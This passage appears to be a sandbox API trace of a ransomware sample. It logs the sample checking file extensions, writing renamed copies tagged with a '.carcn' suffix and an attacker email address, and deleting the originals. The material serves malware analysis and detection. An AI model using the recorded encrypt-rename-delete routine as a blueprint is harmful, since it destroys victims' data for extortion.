(lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 1 [0159.499] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0159.499] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0159.499] lstrlenW (lpString=".doc") returned 4 [0159.499] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0159.499] lstrlenW (lpString=".docx") returned 5 [0159.499] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0159.499] lstrlenW (lpString=".pdf") returned 4 [0159.499] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0159.499] lstrlenW (lpString=".xls") returned 4 [0159.499] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0159.499] lstrlenW (lpString=".xlsx") returned 5 [0159.499] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0159.499] lstrlenW (lpString=".ppt") returned 4 [0159.499] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0159.499] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0159.499] lstrlenW (lpString=".zip") returned 4 [0159.499] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0159.499] lstrlenW (lpString=".rar") returned 4 [0159.499] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0159.500] lstrlenW (lpString=".bz2") returned 4 [0159.500] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0159.500] lstrlenW (lpString=".7z") returned 3 [0159.500] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0159.500] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0159.500] lstrlenW (lpString=".dbf") returned 4 [0159.500] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0159.500] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0159.500] lstrlenW (lpString=".1cd") returned 4 [0159.500] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0159.500] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0159.500] lstrlenW (lpString=".jpg") returned 4 [0159.500] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0159.500] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0159.500] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0159.500] lstrlenW (lpString=".doc") returned 4 [0159.500] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0159.500] lstrlenW (lpString=".docx") returned 5 [0159.500] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0159.500] lstrlenW (lpString=".pdf") returned 4 [0159.500] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0159.500] lstrlenW (lpString=".xls") returned 4 [0159.500] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0159.500] lstrlenW (lpString=".xlsx") returned 5 [0159.500] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0159.500] lstrlenW (lpString=".ppt") returned 4 [0159.500] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0159.500] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0159.500] lstrlenW (lpString=".zip") returned 4 [0159.500] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0159.500] lstrlenW (lpString=".rar") returned 4 [0159.500] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0159.501] lstrlenW (lpString=".bz2") returned 4 [0159.501] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0159.501] lstrlenW (lpString=".7z") returned 3 [0159.501] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0159.501] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0159.501] lstrlenW (lpString=".dbf") returned 4 [0159.501] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0159.501] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0159.501] lstrlenW (lpString=".1cd") returned 4 [0159.501] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0159.501] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0159.501] lstrlenW (lpString=".jpg") returned 4 [0159.501] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0159.501] lstrcmpiW (lpString1=".rtf", lpString2=".carcn") returned 1 [0159.501] lstrlenW (lpString="eula.rtf") returned 8 [0159.501] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0160.108] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=3702) returned 1 [0160.108] CloseHandle (hObject=0x2d4) returned 1 [0160.109] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 0x80 [0160.109] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0160.109] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0160.109] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.109] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.109] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0160.605] GetLastError () returned 0x0 [0160.605] ReadFile (in: hFile=0x2d4, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0xe76, lpOverlapped=0x0) returned 1 [0160.911] WriteFile (in: hFile=0x318, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0xe80, lpOverlapped=0x0) returned 1 [0160.915] ReadFile (in: hFile=0x2d4, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.915] WriteFile (in: hFile=0x318, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0xe4, lpOverlapped=0x0) returned 1 [0160.915] SetEndOfFile (hFile=0x318) returned 1 [0160.915] CloseHandle (hObject=0x318) returned 1 [0160.916] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.916] SetEndOfFile (hFile=0x2d4) returned 1 [0160.917] CloseHandle (hObject=0x2d4) returned 1 [0160.917] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0160.917] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 1 [0160.917] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0160.917] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0160.917] lstrlenW (lpString=".doc") returned 4 [0160.917] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0160.917] lstrlenW (lpString=".docx") returned 5 [0160.917] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0160.917] lstrlenW (lpString=".pdf") returned 4 [0160.917] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0160.917] lstrlenW (lpString=".xls") returned 4 [0160.917] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0160.917] lstrlenW (lpString=".xlsx") returned 5 [0160.917] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0160.917] lstrlenW (lpString=".ppt") returned 4 [0160.917] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0160.917] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0160.917] lstrlenW (lpString=".zip") returned 4 [0160.917] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0160.918] lstrlenW (lpString=".rar") returned 4 [0160.918] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0160.918] lstrlenW (lpString=".bz2") returned 4 [0160.918] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0160.918] lstrlenW (lpString=".7z") returned 3 [0160.918] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0160.918] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0160.918] lstrlenW (lpString=".dbf") returned 4 [0160.918] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0160.918] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0160.918] lstrlenW (lpString=".1cd") returned 4 [0160.918] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0160.918] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0160.918] lstrlenW (lpString=".jpg") returned 4 [0160.918] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0160.918] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0160.918] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0160.918] lstrlenW (lpString=".doc") returned 4 [0160.918] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0160.918] lstrlenW (lpString=".docx") returned 5 [0160.918] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0160.918] lstrlenW (lpString=".pdf") returned 4 [0160.918] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0160.918] lstrlenW (lpString=".xls") returned 4 [0160.918] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0160.918] lstrlenW (lpString=".xlsx") returned 5 [0160.918] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0160.918] lstrlenW (lpString=".ppt") returned 4 [0160.918] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0160.918] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0160.918] lstrlenW (lpString=".zip") returned 4 [0160.918] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0160.918] lstrlenW (lpString=".rar") returned 4 [0160.918] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0160.919] lstrlenW (lpString=".bz2") returned 4 [0160.919] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0160.919] lstrlenW (lpString=".7z") returned 3 [0160.919] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0160.919] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0160.919] lstrlenW (lpString=".dbf") returned 4 [0160.919] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0160.919] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0160.919] lstrlenW (lpString=".1cd") returned 4 [0160.919] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0160.919] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0160.919] lstrlenW (lpString=".jpg") returned 4 [0160.919] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0160.919] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0160.919] lstrlenW (lpString="LocalizedData.xml") returned 17 [0160.919] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0160.990] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=72076) returned 1 [0160.990] CloseHandle (hObject=0x318) returned 1 [0160.990] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 0x80 [0160.990] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0160.990] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0160.990] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.990] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.990] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0160.991] GetLastError () returned 0x0 [0160.991] ReadFile (in: hFile=0x318, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x1198c, lpOverlapped=0x0) returned 1 [0161.041] WriteFile (in: hFile=0x360, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x11990, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x11990, lpOverlapped=0x0) returned 1 [0161.043] ReadFile (in: hFile=0x318, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.043] WriteFile (in: hFile=0x360, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0xf6, lpOverlapped=0x0) returned 1 [0161.043] SetEndOfFile (hFile=0x360) returned 1 [0161.044] CloseHandle (hObject=0x360) returned 1 [0161.045] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.045] SetEndOfFile (hFile=0x318) returned 1 [0161.046] CloseHandle (hObject=0x318) returned 1 [0161.046] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.047] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 1 [0161.047] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0161.047] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0161.047] lstrlenW (lpString=".doc") returned 4 [0161.047] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0161.047] lstrlenW (lpString=".docx") returned 5 [0161.047] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0161.047] lstrlenW (lpString=".pdf") returned 4 [0161.047] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0161.047] lstrlenW (lpString=".xls") returned 4 [0161.047] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0161.047] lstrlenW (lpString=".xlsx") returned 5 [0161.047] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0161.047] lstrlenW (lpString=".ppt") returned 4 [0161.047] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0161.047] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0161.047] lstrlenW (lpString=".zip") returned 4 [0161.047] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0161.047] lstrlenW (lpString=".rar") returned 4 [0161.047] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0161.047] lstrlenW (lpString=".bz2") returned 4 [0161.047] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0161.047] lstrlenW (lpString=".7z") returned 3 [0161.048] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0161.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0161.048] lstrlenW (lpString=".dbf") returned 4 [0161.048] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0161.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0161.048] lstrlenW (lpString=".1cd") returned 4 [0161.048] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0161.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0161.048] lstrlenW (lpString=".jpg") returned 4 [0161.048] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0161.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0161.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0161.048] lstrlenW (lpString=".doc") returned 4 [0161.048] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0161.048] lstrlenW (lpString=".docx") returned 5 [0161.048] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0161.048] lstrlenW (lpString=".pdf") returned 4 [0161.048] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0161.048] lstrlenW (lpString=".xls") returned 4 [0161.048] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0161.048] lstrlenW (lpString=".xlsx") returned 5 [0161.048] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0161.048] lstrlenW (lpString=".ppt") returned 4 [0161.048] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0161.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0161.048] lstrlenW (lpString=".zip") returned 4 [0161.048] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0161.048] lstrlenW (lpString=".rar") returned 4 [0161.048] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0161.048] lstrlenW (lpString=".bz2") returned 4 [0161.048] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0161.048] lstrlenW (lpString=".7z") returned 3 [0161.048] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0161.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0161.048] lstrlenW (lpString=".dbf") returned 4 [0161.049] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0161.049] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0161.049] lstrlenW (lpString=".1cd") returned 4 [0161.049] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0161.049] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0161.049] lstrlenW (lpString=".jpg") returned 4 [0161.049] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0161.049] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0161.049] lstrlenW (lpString="LocalizedData.xml") returned 17 [0161.049] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0161.049] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=80060) returned 1 [0161.049] CloseHandle (hObject=0x318) returned 1 [0161.049] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 0x80 [0161.049] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.049] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0161.049] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.049] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.050] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0161.050] GetLastError () returned 0x0 [0161.050] ReadFile (in: hFile=0x318, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x138bc, lpOverlapped=0x0) returned 1 [0161.220] WriteFile (in: hFile=0x360, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x138c0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x138c0, lpOverlapped=0x0) returned 1 [0161.222] ReadFile (in: hFile=0x318, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.223] WriteFile (in: hFile=0x360, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0xf6, lpOverlapped=0x0) returned 1 [0161.223] SetEndOfFile (hFile=0x360) returned 1 [0161.223] CloseHandle (hObject=0x360) returned 1 [0161.225] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.225] SetEndOfFile (hFile=0x318) returned 1 [0161.226] CloseHandle (hObject=0x318) returned 1 [0161.226] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.226] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 1 [0161.226] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0161.226] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0161.226] lstrlenW (lpString=".doc") returned 4 [0161.226] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0161.226] lstrlenW (lpString=".docx") returned 5 [0161.226] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0161.226] lstrlenW (lpString=".pdf") returned 4 [0161.226] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0161.226] lstrlenW (lpString=".xls") returned 4 [0161.226] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0161.227] lstrlenW (lpString=".xlsx") returned 5 [0161.227] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0161.227] lstrlenW (lpString=".ppt") returned 4 [0161.227] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0161.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0161.227] lstrlenW (lpString=".zip") returned 4 [0161.227] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0161.227] lstrlenW (lpString=".rar") returned 4 [0161.227] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0161.227] lstrlenW (lpString=".bz2") returned 4 [0161.227] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0161.227] lstrlenW (lpString=".7z") returned 3 [0161.227] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0161.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0161.227] lstrlenW (lpString=".dbf") returned 4 [0161.227] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0161.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0161.227] lstrlenW (lpString=".1cd") returned 4 [0161.227] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0161.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0161.227] lstrlenW (lpString=".jpg") returned 4 [0161.227] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0161.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0161.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0161.227] lstrlenW (lpString=".doc") returned 4 [0161.227] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0161.227] lstrlenW (lpString=".docx") returned 5 [0161.227] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0161.227] lstrlenW (lpString=".pdf") returned 4 [0161.227] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0161.227] lstrlenW (lpString=".xls") returned 4 [0161.227] lstrcmpiW (lpString1=".xls", 